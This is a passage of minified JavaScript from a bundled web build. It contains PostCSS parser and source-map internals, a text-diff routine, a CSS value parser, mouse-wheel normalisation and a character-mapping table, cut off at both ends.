t=e.line,n=e.column,l=this.fromLineAndColumn(t,n);if(&quot;number&quot;==typeof o.offset){s=o.offset;let e=this.fromOffset(s);i=e.line,r=e.col}else i=o.line,r=o.column,s=this.fromLineAndColumn(o.line,o.column)}else if(n)l=this.fromLineAndColumn(t,n);else{l=t;let e=this.fromOffset(l);t=e.line,n=e.col}let d=this.origin(t,n,i,r);return a=d?new u(e,void 0===d.endLine?d.line:{column:d.column,line:d.line},void 0===d.endLine?d.column:{column:d.endColumn,line:d.endLine},d.source,d.file,o.plugin):new u(e,void 0===i?t:{column:n,line:t},void 0===i?n:{column:r,line:i},this.css,this.file,o.plugin),a.input={column:n,endColumn:r,endLine:i,endOffset:s,line:t,offset:l,source:this.css},this.file&amp;&amp;(c&amp;&amp;(a.input.url=c(this.file).toString()),a.input.file=this.file),a}fromLineAndColumn(e,t){return f(this)[e-1]+t-1}fromOffset(e){let t=f(this),n=0;if(e&gt;=t[t.length-1])n=t.length-1;else{let o,r=t.length-2;for(;n&lt;r;)if(o=n+(r-n&gt;&gt;1),e&lt;t[o])r=o-1;else{if(!(e&gt;=t[o+1])){n=o;break}n=o+1}}return{col:e-t[n]+1,line:n+1}}mapResolve(e){return/^\w+:\/\//.test(e)?e:i(this.map.consumer().sourceRoot||this.map.root||&quot;.&quot;,e)}origin(e,t,n,o){if(!this.map)return!1;let i,s,l=this.map.consumer(),u=l.originalPositionFor({column:t,line:e});if(!u.source)return!1;&quot;number&quot;==typeof n&amp;&amp;(i=l.originalPositionFor({column:o,line:n})),s=r(u.source)?c(u.source):new URL(u.source,this.map.consumer().sourceRoot||c(this.map.mapFile));let d={column:u.column,endColumn:i&amp;&amp;i.column,endLine:i&amp;&amp;i.line,line:u.line,url:s.toString()};if(&quot;file:&quot;===s.protocol){if(!a)throw new Error(&quot;file: protocol is not available in this PostCSS build&quot;);d.file=a(s)}let p=l.sourceContentFor(u.source);return p&amp;&amp;(d.source=p),d}toJSON(){let e={};for(let t of[&quot;hasBOM&quot;,&quot;css&quot;,&quot;file&quot;,&quot;id&quot;])null!=this[t]&amp;&amp;(e[t]=this[t]);return this.map&amp;&amp;(e.map={...this.map},e.map.consumerCache&amp;&amp;(e.map.consumerCache=void 0)),e}}e.exports=b,b.default=b,p&amp;&amp;p.registerInput&amp;&amp;p.registerInput(b)},5404:(e,t,n)=&gt;{const o=n(1544);e.exports=e=&gt;{const t=Object.assign({skipHostRelativeUrls:!0},e);return{postcssPlugin:&quot;rebaseUrl&quot;,Declaration(n){const r=o(n.value);let i=!1;r.walk((n=&gt;{if(&quot;function&quot;!==n.type||&quot;url&quot;!==n.value)return;const o=n.nodes[0].value,r=new URL(o,e.rootUrl);return r.pathname===o&amp;&amp;t.skipHostRelativeUrls||(n.nodes[0].value=r.toString(),i=!0),!1})),i&amp;&amp;(n.value=o.stringify(r))}}},e.exports.postcss=!0},5417:(e,t)=&gt;{&quot;use strict&quot;;function n(){}function o(e,t,n,o,r){for(var i=0,s=t.length,l=0,a=0;i&lt;s;i++){var c=t[i];if(c.removed){if(c.value=e.join(o.slice(a,a+c.count)),a+=c.count,i&amp;&amp;t[i-1].added){var u=t[i-1];t[i-1]=t[i],t[i]=u}}else{if(!c.added&amp;&amp;r){var d=n.slice(l,l+c.count);d=d.map((function(e,t){var n=o[a+t];return n.length&gt;e.length?n:e})),c.value=e.join(d)}else c.value=e.join(n.slice(l,l+c.count));l+=c.count,c.added||(a+=c.count)}}var p=t[s-1];return s&gt;1&amp;&amp;&quot;string&quot;==typeof p.value&amp;&amp;(p.added||p.removed)&amp;&amp;e.equals(&quot;&quot;,p.value)&amp;&amp;(t[s-2].value+=p.value,t.pop()),t}Object.defineProperty(t,&quot;__esModule&quot;,{value:!0}),t.default=n,n.prototype={diff:function(e,t){var n=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]?arguments[2]:{},r=n.callback;&quot;function&quot;==typeof n&amp;&amp;(r=n,n={}),this.options=n;var i=this;function s(e){return r?(setTimeout((function(){r(void 0,e)}),0),!0):e}e=this.castInput(e),t=this.castInput(t),e=this.removeEmpty(this.tokenize(e));var l=(t=this.removeEmpty(this.tokenize(t))).length,a=e.length,c=1,u=l+a,d=[{newPos:-1,components:[]}],p=this.extractCommon(d[0],t,e,0);if(d[0].newPos+1&gt;=l&amp;&amp;p+1&gt;=a)return s([{value:this.join(t),count:t.length}]);function h(){for(var n=-1*c;n&lt;=c;n+=2){var r=void 0,u=d[n-1],p=d[n+1],h=(p?p.newPos:0)-n;u&amp;&amp;(d[n-1]=void 0);var g=u&amp;&amp;u.newPos+1&lt;l,m=p&amp;&amp;0&lt;=h&amp;&amp;h&lt;a;if(g||m){if(!g||m&amp;&amp;u.newPos&lt;p.newPos?(r={newPos:(f=p).newPos,components:f.components.slice(0)},i.pushComponent(r.components,void 0,!0)):((r=u).newPos++,i.pushComponent(r.components,!0,void 0)),h=i.extractCommon(r,t,e,n),r.newPos+1&gt;=l&amp;&amp;h+1&gt;=a)return s(o(i,r.components,t,e,i.useLongestToken));d[n]=r}else d[n]=void 0}var f;c++}if(r)!function e(){setTimeout((function(){if(c&gt;u)return r();h()||e()}),0)}();else for(;c&lt;=u;){var g=h();if(g)return g}},pushComponent:function(e,t,n){var o=e[e.length-1];o&amp;&amp;o.added===t&amp;&amp;o.removed===n?e[e.length-1]={count:o.count+1,added:t,removed:n}:e.push({count:1,added:t,removed:n})},extractCommon:function(e,t,n,o){for(var r=t.length,i=n.length,s=e.newPos,l=s-o,a=0;s+1&lt;r&amp;&amp;l+1&lt;i&amp;&amp;this.equals(t[s+1],n[l+1]);)s++,l++,a++;return a&amp;&amp;e.components.push({count:a}),e.newPos=s,l},equals:function(e,t){return this.options.comparator?this.options.comparator(e,t):e===t||this.options.ignoreCase&amp;&amp;e.toLowerCase()===t.toLowerCase()},removeEmpty:function(e){for(var t=[],n=0;n&lt;e.length;n++)e[n]&amp;&amp;t.push(e[n]);return t},castInput:function(e){return e},tokenize:function(e){return e.split(&quot;&quot;)},join:function(e){return e.join(&quot;&quot;)}}},5696:(e,t,n)=&gt;{&quot;use strict&quot;;let{existsSync:o,readFileSync:r}=n(9977),{dirname:i,join:s}=n(197),{SourceMapConsumer:l,SourceMapGenerator:a}=n(1866);class c{constructor(e,t){if(!1===t.map)return;this.loadAnnotation(e),this.inline=this.startWith(this.annotation,&quot;data:&quot;);let n=t.map?t.map.prev:void 0,o=this.loadMap(t.from,n);!this.mapFile&amp;&amp;t.from&amp;&amp;(this.mapFile=t.from),this.mapFile&amp;&amp;(this.root=i(this.mapFile)),o&amp;&amp;(this.text=o)}consumer(){return this.consumerCache||(this.consumerCache=new l(this.text)),this.consumerCache}decodeInline(e){let t=e.match(/^data:application\/json;charset=utf-?8,/)||e.match(/^data:application\/json,/);if(t)return decodeURIComponent(e.substr(t[0].length));let n=e.match(/^data:application\/json;charset=utf-?8;base64,/)||e.match(/^data:application\/json;base64,/);if(n)return o=e.substr(n[0].length),Buffer?Buffer.from(o,&quot;base64&quot;).toString():window.atob(o);var o;let r=e.match(/data:application\/json;([^,]+),/)[1];throw new Error(&quot;Unsupported source map encoding &quot;+r)}getAnnotationURL(e){return e.replace(/^\/\*\s*# sourceMappingURL=/,&quot;&quot;).trim()}isMap(e){return&quot;object&quot;==typeof e&amp;&amp;(&quot;string&quot;==typeof e.mappings||&quot;string&quot;==typeof e._mappings||Array.isArray(e.sections))}loadAnnotation(e){let t=e.match(/\/\*\s*# sourceMappingURL=/g);if(!t)return;let n=e.lastIndexOf(t.pop()),o=e.indexOf(&quot;*/&quot;,n);n&gt;-1&amp;&amp;o&gt;-1&amp;&amp;(this.annotation=this.getAnnotationURL(e.substring(n,o)))}loadFile(e){if(this.root=i(e),o(e))return this.mapFile=e,r(e,&quot;utf-8&quot;).toString().trim()}loadMap(e,t){if(!1===t)return!1;if(t){if(&quot;string&quot;==typeof t)return t;if(&quot;function&quot;!=typeof t){if(t instanceof l)return a.fromSourceMap(t).toString();if(t instanceof a)return t.toString();if(this.isMap(t))return JSON.stringify(t);throw new Error(&quot;Unsupported previous source map format: &quot;+t.toString())}{let n=t(e);if(n){let e=this.loadFile(n);if(!e)throw new Error(&quot;Unable to load previous source map: &quot;+n.toString());return e}}}else{if(this.inline)return this.decodeInline(this.annotation);if(this.annotation){let t=this.annotation;return e&amp;&amp;(t=s(i(e),t)),this.loadFile(t)}}}startWith(e,t){return!!e&amp;&amp;e.substr(0,t.length)===t}withContent(){return!!(this.consumer().sourcesContent&amp;&amp;this.consumer().sourcesContent.length&gt;0)}}e.exports=c,c.default=c},5776:e=&gt;{&quot;use strict&quot;;class t{constructor(e,t={}){if(this.type=&quot;warning&quot;,this.text=e,t.node&amp;&amp;t.node.source){let e=t.node.rangeBy(t);this.line=e.start.line,this.column=e.start.column,this.endLine=e.end.line,this.endColumn=e.end.column}for(let e in t)this[e]=t[e]}toString(){return this.node?this.node.error(this.text,{index:this.index,plugin:this.plugin,word:this.word}).message:this.plugin?this.plugin+&quot;: &quot;+this.text:this.text}}e.exports=t,t.default=t},5826:(e,t,n)=&gt;{e.exports=n(628)()},6109:e=&gt;{e.exports=function(e,t,n){return((n=window.getComputedStyle)?n(e):e.currentStyle)[t.replace(/-(\w)/gi,(function(e,t){return t.toUpperCase()}))]}},6589:(e,t,n)=&gt;{&quot;use strict&quot;;let o=n(7490);class r extends o{constructor(e){super(e),this.type=&quot;comment&quot;}}e.exports=r,r.default=r},7191:(e,t,n)=&gt;{&quot;use strict&quot;;var o=n(2213),r=n(1087);function i(e){var t=0,n=0,o=0,r=0;return&quot;detail&quot;in e&amp;&amp;(n=e.detail),&quot;wheelDelta&quot;in e&amp;&amp;(n=-e.wheelDelta/120),&quot;wheelDeltaY&quot;in e&amp;&amp;(n=-e.wheelDeltaY/120),&quot;wheelDeltaX&quot;in e&amp;&amp;(t=-e.wheelDeltaX/120),&quot;axis&quot;in e&amp;&amp;e.axis===e.HORIZONTAL_AXIS&amp;&amp;(t=n,n=0),o=10*t,r=10*n,&quot;deltaY&quot;in e&amp;&amp;(r=e.deltaY),&quot;deltaX&quot;in e&amp;&amp;(o=e.deltaX),(o||r)&amp;&amp;e.deltaMode&amp;&amp;(1==e.deltaMode?(o*=40,r*=40):(o*=800,r*=800)),o&amp;&amp;!t&amp;&amp;(t=o&lt;1?-1:1),r&amp;&amp;!n&amp;&amp;(n=r&lt;1?-1:1),{spinX:t,spinY:n,pixelX:o,pixelY:r}}i.getEventType=function(){return o.firefox()?&quot;DOMMouseScroll&quot;:r(&quot;wheel&quot;)?&quot;wheel&quot;:&quot;mousewheel&quot;},e.exports=i},7374:e=&gt;{&quot;use strict&quot;;let t={comma:e=&gt;t.split(e,[&quot;,&quot;],!0),space:e=&gt;t.split(e,[&quot; &quot;,&quot;\n&quot;,&quot;\t&quot;]),split(e,t,n){let o=[],r=&quot;&quot;,i=!1,s=0,l=!1,a=&quot;&quot;,c=!1;for(let n of e)c?c=!1:&quot;\\&quot;===n?c=!0:l?n===a&amp;&amp;(l=!1):&#039;&quot;&#039;===n||&quot;&#039;&quot;===n?(l=!0,a=n):&quot;(&quot;===n?s+=1:&quot;)&quot;===n?s&gt;0&amp;&amp;(s-=1):0===s&amp;&amp;t.includes(n)&amp;&amp;(i=!0),i?(&quot;&quot;!==r&amp;&amp;o.push(r.trim()),r=&quot;&quot;,i=!1):r+=n;return(n||&quot;&quot;!==r)&amp;&amp;o.push(r.trim()),o}};e.exports=t,t.default=t},7490:(e,t,n)=&gt;{&quot;use strict&quot;;let o=n(356),r=n(346),i=n(633),{isClean:s,my:l}=n(1381);function a(e,t){let n=new e.constructor;for(let o in e){if(!Object.prototype.hasOwnProperty.call(e,o))continue;if(&quot;proxyCache&quot;===o)continue;let r=e[o],i=typeof r;&quot;parent&quot;===o&amp;&amp;&quot;object&quot;===i?t&amp;&amp;(n[o]=t):&quot;source&quot;===o?n[o]=r:Array.isArray(r)?n[o]=r.map((e=&gt;a(e,n))):(&quot;object&quot;===i&amp;&amp;null!==r&amp;&amp;(r=a(r)),n[o]=r)}return n}function c(e,t){if(t&amp;&amp;void 0!==t.offset)return t.offset;let n=1,o=1,r=0;for(let i=0;i&lt;e.length;i++){if(o===t.line&amp;&amp;n===t.column){r=i;break}&quot;\n&quot;===e[i]?(n=1,o+=1):n+=1}return r}class u{get proxyOf(){return this}constructor(e={}){this.raws={},this[s]=!1,this[l]=!0;for(let t in e)if(&quot;nodes&quot;===t){this.nodes=[];for(let n of e[t])&quot;function&quot;==typeof n.clone?this.append(n.clone()):this.append(n)}else this[t]=e[t]}addToError(e){if(e.postcssNode=this,e.stack&amp;&amp;this.source&amp;&amp;/\n\s{4}at /.test(e.stack)){let t=this.source;e.stack=e.stack.replace(/\n\s{4}at /,`$&amp;${t.input.from}:${t.start.line}:${t.start.column}$&amp;`)}return e}after(e){return this.parent.insertAfter(this,e),this}assign(e={}){for(let t in e)this[t]=e[t];return this}before(e){return this.parent.insertBefore(this,e),this}cleanRaws(e){delete this.raws.before,delete this.raws.after,e||delete this.raws.between}clone(e={}){let t=a(this);for(let n in e)t[n]=e[n];return t}cloneAfter(e={}){let t=this.clone(e);return this.parent.insertAfter(this,t),t}cloneBefore(e={}){let t=this.clone(e);return this.parent.insertBefore(this,t),t}error(e,t={}){if(this.source){let{end:n,start:o}=this.rangeBy(t);return this.source.input.error(e,{column:o.column,line:o.line},{column:n.column,line:n.line},t)}return new o(e)}getProxyProcessor(){return{get:(e,t)=&gt;&quot;proxyOf&quot;===t?e:&quot;root&quot;===t?()=&gt;e.root().toProxy():e[t],set:(e,t,n)=&gt;(e[t]===n||(e[t]=n,&quot;prop&quot;!==t&amp;&amp;&quot;value&quot;!==t&amp;&amp;&quot;name&quot;!==t&amp;&amp;&quot;params&quot;!==t&amp;&amp;&quot;important&quot;!==t&amp;&amp;&quot;text&quot;!==t||e.markDirty()),!0)}}markClean(){this[s]=!0}markDirty(){if(this[s]){this[s]=!1;let e=this;for(;e=e.parent;)e[s]=!1}}next(){if(!this.parent)return;let e=this.parent.index(this);return this.parent.nodes[e+1]}positionBy(e={}){let t=this.source.start;if(e.index)t=this.positionInside(e.index);else if(e.word){let n=&quot;document&quot;in this.source.input?this.source.input.document:this.source.input.css,o=n.slice(c(n,this.source.start),c(n,this.source.end)).indexOf(e.word);-1!==o&amp;&amp;(t=this.positionInside(o))}return t}positionInside(e){let t=this.source.start.column,n=this.source.start.line,o=&quot;document&quot;in this.source.input?this.source.input.document:this.source.input.css,r=c(o,this.source.start),i=r+e;for(let e=r;e&lt;i;e++)&quot;\n&quot;===o[e]?(t=1,n+=1):t+=1;return{column:t,line:n,offset:i}}prev(){if(!this.parent)return;let e=this.parent.index(this);return this.parent.nodes[e-1]}rangeBy(e={}){let t=&quot;document&quot;in this.source.input?this.source.input.document:this.source.input.css,n={column:this.source.start.column,line:this.source.start.line,offset:c(t,this.source.start)},o=this.source.end?{column:this.source.end.column+1,line:this.source.end.line,offset:&quot;number&quot;==typeof this.source.end.offset?this.source.end.offset:c(t,this.source.end)+1}:{column:n.column+1,line:n.line,offset:n.offset+1};if(e.word){let r=t.slice(c(t,this.source.start),c(t,this.source.end)).indexOf(e.word);-1!==r&amp;&amp;(n=this.positionInside(r),o=this.positionInside(r+e.word.length))}else e.start?n={column:e.start.column,line:e.start.line,offset:c(t,e.start)}:e.index&amp;&amp;(n=this.positionInside(e.index)),e.end?o={column:e.end.column,line:e.end.line,offset:c(t,e.end)}:&quot;number&quot;==typeof e.endIndex?o=this.positionInside(e.endIndex):e.index&amp;&amp;(o=this.positionInside(e.index+1));return(o.line&lt;n.line||o.line===n.line&amp;&amp;o.column&lt;=n.column)&amp;&amp;(o={column:n.column+1,line:n.line,offset:n.offset+1}),{end:o,start:n}}raw(e,t){return(new r).raw(this,e,t)}remove(){return this.parent&amp;&amp;this.parent.removeChild(this),this.parent=void 0,this}replaceWith(...e){if(this.parent){let t=this,n=!1;for(let o of e)o===this?n=!0:n?(this.parent.insertAfter(t,o),t=o):this.parent.insertBefore(t,o);n||this.remove()}return this}root(){let e=this;for(;e.parent&amp;&amp;&quot;document&quot;!==e.parent.type;)e=e.parent;return e}toJSON(e,t){let n={},o=null==t;t=t||new Map;let r=0;for(let e in this){if(!Object.prototype.hasOwnProperty.call(this,e))continue;if(&quot;parent&quot;===e||&quot;proxyCache&quot;===e)continue;let o=this[e];if(Array.isArray(o))n[e]=o.map((e=&gt;&quot;object&quot;==typeof e&amp;&amp;e.toJSON?e.toJSON(null,t):e));else if(&quot;object&quot;==typeof o&amp;&amp;o.toJSON)n[e]=o.toJSON(null,t);else if(&quot;source&quot;===e){if(null==o)continue;let i=t.get(o.input);null==i&amp;&amp;(i=r,t.set(o.input,r),r++),n[e]={end:o.end,inputId:i,start:o.start}}else n[e]=o}return o&amp;&amp;(n.inputs=[...t.keys()].map((e=&gt;e.toJSON()))),n}toProxy(){return this.proxyCache||(this.proxyCache=new Proxy(this,this.getProxyProcessor())),this.proxyCache}toString(e=i){e.stringify&amp;&amp;(e=e.stringify);let t=&quot;&quot;;return e(this,(e=&gt;{t+=e})),t}warn(e,t,n={}){let o={node:this};for(let e in n)o[e]=n[e];return e.warn(t,o)}}e.exports=u,u.default=u},7520:(e,t,n)=&gt;{e.exports=n(7191)},7661:(e,t,n)=&gt;{&quot;use strict&quot;;let o=n(1670),r=n(4295);const i=n(9055);let s=n(633);n(3122);class l{get content(){return this.result.css}get css(){return this.result.css}get map(){return this.result.map}get messages(){return[]}get opts(){return this.result.opts}get processor(){return this.result.processor}get root(){if(this._root)return this._root;let e,t=r;try{e=t(this._css,this._opts)}catch(e){this.error=e}if(this.error)throw this.error;return this._root=e,e}get[Symbol.toStringTag](){return&quot;NoWorkResult&quot;}constructor(e,t,n){let r;t=t.toString(),this.stringified=!1,this._processor=e,this._css=t,this._opts=n,this._map=void 0;let l=s;this.result=new i(this._processor,r,this._opts),this.result.css=t;let a=this;Object.defineProperty(this.result,&quot;root&quot;,{get:()=&gt;a.root});let c=new o(l,r,this._opts,t);if(c.isMap()){let[e,t]=c.generate();e&amp;&amp;(this.result.css=e),t&amp;&amp;(this.result.map=t)}else c.clearAnnotation(),this.result.css=c.css}async(){return this.error?Promise.reject(this.error):Promise.resolve(this.result)}catch(e){return this.async().catch(e)}finally(e){return this.async().then(e,e)}sync(){if(this.error)throw this.error;return this.result}then(e,t){return this.async().then(e,t)}toString(){return this._css}warnings(){return[]}}e.exports=l,l.default=l},7734:e=&gt;{&quot;use strict&quot;;e.exports=function e(t,n){if(t===n)return!0;if(t&amp;&amp;n&amp;&amp;&quot;object&quot;==typeof t&amp;&amp;&quot;object&quot;==typeof n){if(t.constructor!==n.constructor)return!1;var o,r,i;if(Array.isArray(t)){if((o=t.length)!=n.length)return!1;for(r=o;0!=r--;)if(!e(t[r],n[r]))return!1;return!0}if(t instanceof Map&amp;&amp;n instanceof Map){if(t.size!==n.size)return!1;for(r of t.entries())if(!n.has(r[0]))return!1;for(r of t.entries())if(!e(r[1],n.get(r[0])))return!1;return!0}if(t instanceof Set&amp;&amp;n instanceof Set){if(t.size!==n.size)return!1;for(r of t.entries())if(!n.has(r[0]))return!1;return!0}if(ArrayBuffer.isView(t)&amp;&amp;ArrayBuffer.isView(n)){if((o=t.length)!=n.length)return!1;for(r=o;0!=r--;)if(t[r]!==n[r])return!1;return!0}if(t.constructor===RegExp)return t.source===n.source&amp;&amp;t.flags===n.flags;if(t.valueOf!==Object.prototype.valueOf)return t.valueOf()===n.valueOf();if(t.toString!==Object.prototype.toString)return t.toString()===n.toString();if((o=(i=Object.keys(t)).length)!==Object.keys(n).length)return!1;for(r=o;0!=r--;)if(!Object.prototype.hasOwnProperty.call(n,i[r]))return!1;for(r=o;0!=r--;){var s=i[r];if(!e(t[s],n[s]))return!1}return!0}return t!=t&amp;&amp;n!=n}},8021:(e,t,n)=&gt;{&quot;use strict&quot;;var o;t.JJ=function(e,t,n){return r.diff(e,t,n)};var r=new(((o=n(5417))&amp;&amp;o.__esModule?o:{default:o}).default)},8202:e=&gt;{&quot;use strict&quot;;var t=!(&quot;undefined&quot;==typeof window||!window.document||!window.document.createElement),n={canUseDOM:t,canUseWorkers:&quot;undefined&quot;!=typeof Worker,canUseEventListeners:t&amp;&amp;!(!window.addEventListener&amp;&amp;!window.attachEvent),canUseViewport:t&amp;&amp;!!window.screen,isInWorker:!t};e.exports=n},8491:e=&gt;{var t=&quot;(&quot;.charCodeAt(0),n=&quot;)&quot;.charCodeAt(0),o=&quot;&#039;&quot;.charCodeAt(0),r=&#039;&quot;&#039;.charCodeAt(0),i=&quot;\\&quot;.charCodeAt(0),s=&quot;/&quot;.charCodeAt(0),l=&quot;,&quot;.charCodeAt(0),a=&quot;:&quot;.charCodeAt(0),c=&quot;*&quot;.charCodeAt(0),u=&quot;u&quot;.charCodeAt(0),d=&quot;U&quot;.charCodeAt(0),p=&quot;+&quot;.charCodeAt(0),h=/^[a-f0-9?-]+$/i;e.exports=function(e){for(var g,m,f,b,k,v,_,y,x,S=[],w=e,C=0,B=w.charCodeAt(C),I=w.length,j=[{nodes:S}],E=0,T=&quot;&quot;,M=&quot;&quot;,P=&quot;&quot;;C&lt;I;)if(B&lt;=32){g=C;do{g+=1,B=w.charCodeAt(g)}while(B&lt;=32);b=w.slice(C,g),f=S[S.length-1],B===n&amp;&amp;E?P=b:f&amp;&amp;&quot;div&quot;===f.type?(f.after=b,f.sourceEndIndex+=b.length):B===l||B===a||B===s&amp;&amp;w.charCodeAt(g+1)!==c&amp;&amp;(!x||x&amp;&amp;&quot;function&quot;===x.type&amp;&amp;&quot;calc&quot;!==x.value)?M=b:S.push({type:&quot;space&quot;,sourceIndex:C,sourceEndIndex:g,value:b}),C=g}else if(B===o||B===r){g=C,b={type:&quot;string&quot;,sourceIndex:C,quote:m=B===o?&quot;&#039;&quot;:&#039;&quot;&#039;};do{if(k=!1,~(g=w.indexOf(m,g+1)))for(v=g;w.charCodeAt(v-1)===i;)v-=1,k=!k;else g=(w+=m).length-1,b.unclosed=!0}while(k);b.value=w.slice(C+1,g),b.sourceEndIndex=b.unclosed?g:g+1,S.push(b),C=g+1,B=w.charCodeAt(C)}else if(B===s&amp;&amp;w.charCodeAt(C+1)===c)b={type:&quot;comment&quot;,sourceIndex:C,sourceEndIndex:(g=w.indexOf(&quot;*/&quot;,C))+2},-1===g&amp;&amp;(b.unclosed=!0,g=w.length,b.sourceEndIndex=g),b.value=w.slice(C+2,g),S.push(b),C=g+2,B=w.charCodeAt(C);else if(B!==s&amp;&amp;B!==c||!x||&quot;function&quot;!==x.type||&quot;calc&quot;!==x.value)if(B===s||B===l||B===a)b=w[C],S.push({type:&quot;div&quot;,sourceIndex:C-M.length,sourceEndIndex:C+b.length,value:b,before:M,after:&quot;&quot;}),M=&quot;&quot;,C+=1,B=w.charCodeAt(C);else if(t===B){g=C;do{g+=1,B=w.charCodeAt(g)}while(B&lt;=32);if(y=C,b={type:&quot;function&quot;,sourceIndex:C-T.length,value:T,before:w.slice(y+1,g)},C=g,&quot;url&quot;===T&amp;&amp;B!==o&amp;&amp;B!==r){g-=1;do{if(k=!1,~(g=w.indexOf(&quot;)&quot;,g+1)))for(v=g;w.charCodeAt(v-1)===i;)v-=1,k=!k;else g=(w+=&quot;)&quot;).length-1,b.unclosed=!0}while(k);_=g;do{_-=1,B=w.charCodeAt(_)}while(B&lt;=32);y&lt;_?(b.nodes=C!==_+1?[{type:&quot;word&quot;,sourceIndex:C,sourceEndIndex:_+1,value:w.slice(C,_+1)}]:[],b.unclosed&amp;&amp;_+1!==g?(b.after=&quot;&quot;,b.nodes.push({type:&quot;space&quot;,sourceIndex:_+1,sourceEndIndex:g,value:w.slice(_+1,g)})):(b.after=w.slice(_+1,g),b.sourceEndIndex=g)):(b.after=&quot;&quot;,b.nodes=[]),C=g+1,b.sourceEndIndex=b.unclosed?g:C,B=w.charCodeAt(C),S.push(b)}else E+=1,b.after=&quot;&quot;,b.sourceEndIndex=C+1,S.push(b),j.push(b),S=b.nodes=[],x=b;T=&quot;&quot;}else if(n===B&amp;&amp;E)C+=1,B=w.charCodeAt(C),x.after=P,x.sourceEndIndex+=P.length,P=&quot;&quot;,E-=1,j[j.length-1].sourceEndIndex=C,j.pop(),S=(x=j[E]).nodes;else{g=C;do{B===i&amp;&amp;(g+=1),g+=1,B=w.charCodeAt(g)}while(g&lt;I&amp;&amp;!(B&lt;=32||B===o||B===r||B===l||B===a||B===s||B===t||B===c&amp;&amp;x&amp;&amp;&quot;function&quot;===x.type&amp;&amp;&quot;calc&quot;===x.value||B===s&amp;&amp;&quot;function&quot;===x.type&amp;&amp;&quot;calc&quot;===x.value||B===n&amp;&amp;E));b=w.slice(C,g),t===B?T=b:u!==b.charCodeAt(0)&amp;&amp;d!==b.charCodeAt(0)||p!==b.charCodeAt(1)||!h.test(b.slice(2))?S.push({type:&quot;word&quot;,sourceIndex:C,sourceEndIndex:g,value:b}):S.push({type:&quot;unicode-range&quot;,sourceIndex:C,sourceEndIndex:g,value:b}),C=g}else b=w[C],S.push({type:&quot;word&quot;,sourceIndex:C-M.length,sourceEndIndex:C+b.length,value:b}),C+=1,B=w.charCodeAt(C);for(C=j.length-1;C;C-=1)j[C].unclosed=!0,j[C].sourceEndIndex=w.length;return j[0].nodes}},9055:(e,t,n)=&gt;{&quot;use strict&quot;;let o=n(5776);class r{get content(){return this.css}constructor(e,t,n){this.processor=e,this.messages=[],this.root=t,this.opts=n,this.css=&quot;&quot;,this.map=void 0}toString(){return this.css}warn(e,t={}){t.plugin||this.lastPlugin&amp;&amp;this.lastPlugin.postcssPlugin&amp;&amp;(t.plugin=this.lastPlugin.postcssPlugin);let n=new o(e,t);return this.messages.push(n),n}warnings(){return this.messages.filter((e=&gt;&quot;warning&quot;===e.type))}}e.exports=r,r.default=r},9434:(e,t,n)=&gt;{&quot;use strict&quot;;let o,r,i=n(683);class s extends i{constructor(e){super(e),this.type=&quot;root&quot;,this.nodes||(this.nodes=[])}normalize(e,t,n){let o=super.normalize(e);if(t)if(&quot;prepend&quot;===n)this.nodes.length&gt;1?t.raws.before=this.nodes[1].raws.before:delete t.raws.before;else if(this.first!==t)for(let e of o)e.raws.before=t.raws.before;return o}removeChild(e,t){let n=this.index(e);return!t&amp;&amp;0===n&amp;&amp;this.nodes.length&gt;1&amp;&amp;(this.nodes[1].raws.before=this.nodes[n].raws.before),super.removeChild(e)}toResult(e={}){return new o(new r,this,e).stringify()}}s.registerLazyResult=e=&gt;{o=e},s.registerProcessor=e=&gt;{r=e},e.exports=s,s.default=s,i.registerRoot(s)},9656:(e,t,n)=&gt;{&quot;use strict&quot;;let o=n(271),r=n(448),i=n(7661),s=n(9434);class l{constructor(e=[]){this.version=&quot;8.5.6&quot;,this.plugins=this.normalize(e)}normalize(e){let t=[];for(let n of e)if(!0===n.postcss?n=n():n.postcss&amp;&amp;(n=n.postcss),&quot;object&quot;==typeof n&amp;&amp;Array.isArray(n.plugins))t=t.concat(n.plugins);else if(&quot;object&quot;==typeof n&amp;&amp;n.postcssPlugin)t.push(n);else if(&quot;function&quot;==typeof n)t.push(n);else{if(&quot;object&quot;!=typeof n||!n.parse&amp;&amp;!n.stringify)throw new Error(n+&quot; is not a PostCSS plugin&quot;)}return t}process(e,t={}){return this.plugins.length||t.parser||t.stringifier||t.syntax?new r(this,e,t):new i(this,e,t)}use(e){return this.plugins=this.plugins.concat(this.normalize([e])),this}}e.exports=l,l.default=l,s.registerProcessor(l),o.registerProcessor(l)},9681:e=&gt;{var t={À:&quot;A&quot;,Á:&quot;A&quot;,Â:&quot;A&quot;,Ã:&quot;A&quot;,Ä:&quot;A&quot;,Å:&quot;A&quot;,Ấ:&quot;A&quot;,Ắ:&quot;A&quot;,Ẳ:&quot;A&quot;,Ẵ:&quot;A&quot;,Ặ:&quot;A&quot;,Æ:&quot;AE&quot;,Ầ:&quot;A&quot;,Ằ:&quot;A&quot;,Ȃ:&quot;A&quot;,Ả:&quot;A&quot;,Ạ:&quot;A&quot;,Ẩ:&quot;A&quot;,Ẫ:&quot;A&quot;,Ậ:&quot;A&quot;,Ç:&quot;C&quot;,Ḉ:&quot;C&quot;,È:&quot;E&quot;,É:&quot;E&quot;,Ê:&quot;E&quot;,Ë:&quot;E&quot;,Ế:&quot;E&quot;,Ḗ:&quot;E&quot;,Ề:&quot;E&quot;,Ḕ:&quot;E&quot;,Ḝ:&quot;E&quot;,Ȇ:&quot;E&quot;,Ẻ:&quot;E&quot;,Ẽ:&quot;E&quot;,Ẹ:&quot;E&quot;,Ể:&quot;E&quot;,Ễ:&quot;E&quot;,Ệ:&quot;E&quot;,Ì:&quot;I&quot;,Í:&quot;I&quot;,Î:&quot;I&quot;,Ï:&quot;I&quot;,Ḯ:&quot;I&quot;,Ȋ:&quot;I&quot;,Ỉ:&quot;I&quot;,Ị:&quot;I&quot;,Ð:&quot;D&quot;,Ñ:&quot;N&quot;,Ò:&quot;O&quot;,Ó:&quot;O&quot;,Ô:&quot;O&quot;,Õ:&quot;O&quot;,Ö:&quot;O&quot;,Ø:&quot;O&quot;,Ố:&quot;O&quot;,Ṍ:&quot;O&quot;,Ṓ:&quot;O&quot;,Ȏ:&quot;O&quot;,Ỏ:&quot;O&quot;,Ọ:&quot;O&quot;,Ổ:&quot;O&quot;,Ỗ:&quot;O&quot;,Ộ:&quot;O&quot;,Ờ:&quot;O&quot;,Ở:&quot;O&quot;,Ỡ:&quot;O&quot;,Ớ:&quot;O&quot;,Ợ:&quot;O&quot;,Ù:&quot;U&quot;,Ú:&quot;U&quot;,Û:&quot;U&quot;,Ü:&quot;U&quot;,Ủ:&quot;U&quot;,Ụ:&quot;U&quot